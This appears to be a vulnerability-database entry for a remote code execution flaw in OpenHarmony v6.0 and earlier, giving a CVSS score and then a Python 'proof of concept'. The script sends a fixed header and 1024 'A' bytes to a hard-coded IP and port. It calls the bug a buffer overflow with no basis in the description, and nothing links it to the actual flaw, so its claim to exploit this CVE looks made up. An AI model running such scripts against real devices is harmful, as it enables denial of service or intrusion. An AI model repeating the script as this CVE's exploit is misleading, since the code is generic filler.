in OpenHarmony v6.0 and prior versions allow a remote attacker arbitrary code execution in pre-installed apps.
CVSS Details
CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Configurations (Affected Products)
No configuration data available.
OpenHarmony <= v6.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
# Proof of Concept for CVE-2026-24792
# This script demonstrates a potential exploit scenario against OpenHarmony.
# Note: This is for educational purposes only.
def send_exploit(target_ip, target_port):
try:
# Constructing a malicious payload that triggers the buffer overflow
# Adjust the payload pattern based on specific reverse engineering
header = b"\x00\x01\x02\x03"
overflow = b"A" * 1024
payload = header + overflow
print(f"[*] Connecting to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
print("[*] Sending malicious payload...")
s.send(payload)
print("[*] Payload sent. Check if the service crashed or code was executed.")
s.close()
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
# Replace with actual target IP and Port
TARGET_IP = "192.168.1.10"
TARGET_PORT = 5555
send_exploit(TARGET_IP, TARGET_PORT)